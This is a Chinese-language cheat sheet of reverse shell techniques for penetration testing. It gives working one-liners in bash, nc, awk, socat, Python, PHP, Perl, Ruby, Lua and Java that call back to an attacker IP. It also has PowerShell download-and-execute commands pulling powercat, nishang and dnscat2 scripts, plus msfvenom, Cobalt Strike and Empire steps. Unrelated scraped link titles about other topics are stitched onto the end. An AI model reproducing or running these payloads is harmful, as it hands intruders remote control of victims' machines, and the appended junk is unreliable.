在渗透过程中,往往因为端口限制而无法直连目标机器,此时需要通过反弹shell来获取一个交互式shell,以便继续深入。

反弹shell是打开内网通道的第一步,也是权限提升过程中至关重要的一步。所有姿势整理自网络,假设,攻击者主机为:192.168.99.242,本地监听1234端口,如有特殊情况以下会备注说明。

Linux 反弹shell

姿势一:bash反弹

bash -i >& /dev/tcp/192.168.99.242/1234 0>&1base64版:bash-c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjI0Mi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'在线编码地址:http://www.jackson-t.ca/runtime-exec-payloads.html

其他版本:

exec 5<>/dev/tcp/192.168.99.242/1234;cat &5 >&5;done

exec/bin/sh 0&0 2>&0

姿势二:nc反弹

nc -e /bin/bash 192.168.99.242 1234

姿势三:awk反弹

awk 'BEGIN{s="/inet/tcp/0/192.168.99.242/1234";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

姿势四:telnet反弹

备注:需要在攻击主机上分别监听1234和4321端口,执行反弹shell命令后,在1234终端输入命令,4321查看命令执行后的结果。

telnet 192.168.99.242 1234 | /bin/bash | telnet 192.168.99.242 4321

姿势五:socat反弹

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.99.242:1234

姿势六:Python反弹

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.99.242',1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

姿势七:PHP反弹

php -r '$sock=fsockopen("192.168.99.242",1234);exec("/bin/sh -i &3 2>&3");'

姿势八:Perl反弹

perl -e 'use Socket;$i="192.168.99.242";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

姿势九:Ruby反弹

ruby -rsocket -e'f=TCPSocket.open("192.168.99.242",1234).to_i;exec sprintf("/bin/sh -i &%d 2>&%d",f,f,f)'

姿势十:Lua反弹

lua -e "require('socket');require('os');t=socket.tcp();t:connect('192.168.99.242','1234');os.execute('/bin/sh -i &3 2>&3');"

姿势十一:JAVA反弹

public classRevs {/**

* @param args

* @throws Exception*/

public static voidmain(String[] args) throws Exception {//TODO Auto-generated method stub

Runtime r =Runtime.getRuntime();

String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.99.242/1234;cat &5 >&5; done"};

Process p=r.exec(cmd);

p.waitFor();

}

}

保存为Revs.java文件,编译执行,成功反弹shell。

javac Revs.java

java Revs

Windows反弹shell

姿势一:nc反弹

netcat 下载:https://eternallybored.org/misc/netcat/

服务端反弹:nc 192.168.99.242 1234 -e c:\windows\system32\cmd.exe

姿势二:powershell反弹

powercat是netcat的powershell版本,功能免杀性都要比netcat好用的多。

PS C:\WWW>powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.99.242 -p 1234 -e cmd

下载到目标机器本地执行:

PS C:\WWW> Import-Module ./powercat.ps1PS C:\WWW> powercat -c 192.168.99.242 -p 1234 -e cmd

姿势三:MSF反弹shell

使用msfvenom生成相关Payload

msfvenom -l payloads | grep 'cmd/windows/reverse'msfvenom-p cmd/windows/reverse_powershell LHOST=192.168.99.242 LPORT=1234

姿势四:Cobalt strike反弹shell

1、配置监听器:点击Cobalt Strike——>Listeners——>在下方Tab菜单Listeners,点击add。2、生成payload:点击Attacks——>Packages——>Windows Executable,保存文件位置。3、目标机执行powershell payload

姿势五:Empire反弹shell

usestager windows/launcher_vbs

infosetListener test

execute

姿势六:nishang反弹shell

Reverse TCP shell:

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com /samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 10.1.1.210 -port 1234

Reverse UDP shell:

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 10.1.1.210 -port 1234

姿势七:Dnscat反弹shell

github项目地址:

https://github.com/iagox86/dnscat2

服务端:

ruby dnscat2.rb --dns "domain=lltest.com,host=xx.xx.xx.xx" --no-cache -e open -e open

目标主机:

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');Start-Dnscat2 -Domain lltest.com -DNSServer xx.xx.xx.xx

python反弹shell_反弹shell的各种姿势相关推荐

  1. python反弹shell_反弹shell的几种方式总结

    假设本机地址10.10.10.11,监听端口443. 1.Bash环境下反弹TCP协议shell 首先在本地监听TCP协议443端口 nc -lvp 443 然后在靶机上执行如下命令: bash -i ...

  2. python反弹shell_反弹Shell小结

    1.NC反弹shell 1.1.正向反弹shell 服务器 nc -lvvp 7777 -e /bin/bash 攻击机 nc  server-ip 7777 1.2.反向反弹shell 攻击机 nc ...

  3. mysql 反弹shell_反弹shell升级成交互式shell

    实验环境: A : kali 虚拟机 B: centos7.5 虚拟机 1. A 机 kali 虚拟机 设置监听 端口 root@kali64:~# nc -lvvp 9001 # 端口随便定义,没被 ...

  4. python交互式shell_交互式 shell 玩转 Python

    Python 编程语言已经成为 IT 中使用的最流行的语言之一.成功的一个原因是它可以用来解决各种问题.从网站开发到数据科学.机器学习到任务自动化,Python 生态系统有丰富的框架和库.本文将介绍 ...

  5. 带你了解LINUX反弹Shell的各种姿势(超详细)

    简介 LInux反弹Shell(Reveser Shell), 也可以称为反向Shell, 由被控制端主动向控制端发送请求建立通讯, 随后将执行命令的结果输出到控制端, 本质上是网络概念的客户端与服务 ...

  6. python 执行shell_用Python调用Shell命令

    Python经常被称作"胶水语言",因为它能够轻易地操作其他程序,轻易地包装使用其他语言编写的库,也当然可以用Python调用Shell命令. 用Python调用Shell命令有如 ...

  7. python interactive shell_[python] 介绍几个Interactive Shell (上)

    用Python编程,免不得需要做些实验,你可以python interactive shell 里面试一下某个表达式是否正确,某个包 是怎样使用的,用dir(obj)看看一个对象都有些啥属性,用hel ...

  8. python调用脚本或shell的方式

    python调用脚本或shell有下面三种方式: os.system() 特点: (1)可以调用脚本. (2)可以判断是否正确执行. (3)满足不了标准输出 && 错误 command ...

  9. Python:Python语言编程软件安装的几大姿势之详细攻略

    Python:Python语言编程软件安装的几大姿势之详细攻略 目录 Python软件安装的几大姿势 Python原生安装 Python3.6安装 Python流行安装--完美搭配Pycharm

最新文章

  1. 机器视觉基础(2)---坐标与矩阵变换
  2. python中全局变量有缩进吗_python有全局变量吗
  3. Java实现对称加密算法-AES加解密
  4. tab vue 竖排_vue tab切换的几种方式
  5. 线性反馈移位寄存器(LFSR)-非线性反馈移位寄存器的verilog实现(产生伪随机数)...
  6. 基于SSM的智慧房屋租赁系统
  7. 计算机数据类型误差怎么解决,测绘数据常见误差类型及处理方法
  8. github java 性能,JavaGuide/手把手教你定位常见Java性能问题.md at master · Github-Programer/JavaGuide · GitHub...
  9. 计算机辅助数控编程交互图形,第六章 计算机辅助数控编程.ppt
  10. 物联网常见的无线传输协议类型
  11. Unity-CharacterController(角色控制器)
  12. 第四次产业革命源于人工智能(趋势解读20k字)
  13. linux模糊查找目录文件,详解Linux查找目录下的按时间过滤的文件
  14. 吃透Chisel语言.29.Chisel进阶之通信状态机(一)——通信状态机:以闪光灯为例
  15. 采集温度数据,用串口传输到上位机
  16. 针对CSS说一说|技术点评
  17. 红旗Linux网卡Bind,红旗linux(sp3)怎么安装网卡驱动啊
  18. chrome浏览器对应版本driver驱动
  19. (转载)警惕“番茄花园”灰色产业链
  20. 三菱plc与计算机无协议通讯,三菱FX系列PLC与计算机无协议通讯

热门文章

  1. 社区周末版--Unity3D 游戏框架LollipopUnity v1.0.1
  2. 无USB下如何实现PC电脑与手机无线连接
  3. 《鹰猎长空》讲述戏曲与电影现今的困境
  4. requests 警告:InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verif
  5. InsecureRequestWarning: Unverified HTTPS request is being made to host ‘127.0.0.1‘.
  6. 无限级分类 php_PHP无限极分类函数的实现方法详解
  7. 初夏时节,这些美味你可千万不要错过!!!
  8. Centos卸载软件方法
  9. C++学习(二七二)Gradle DSL method not found: ‘abiFilters()‘
  10. 在Neo4j中使用louvain进行图聚类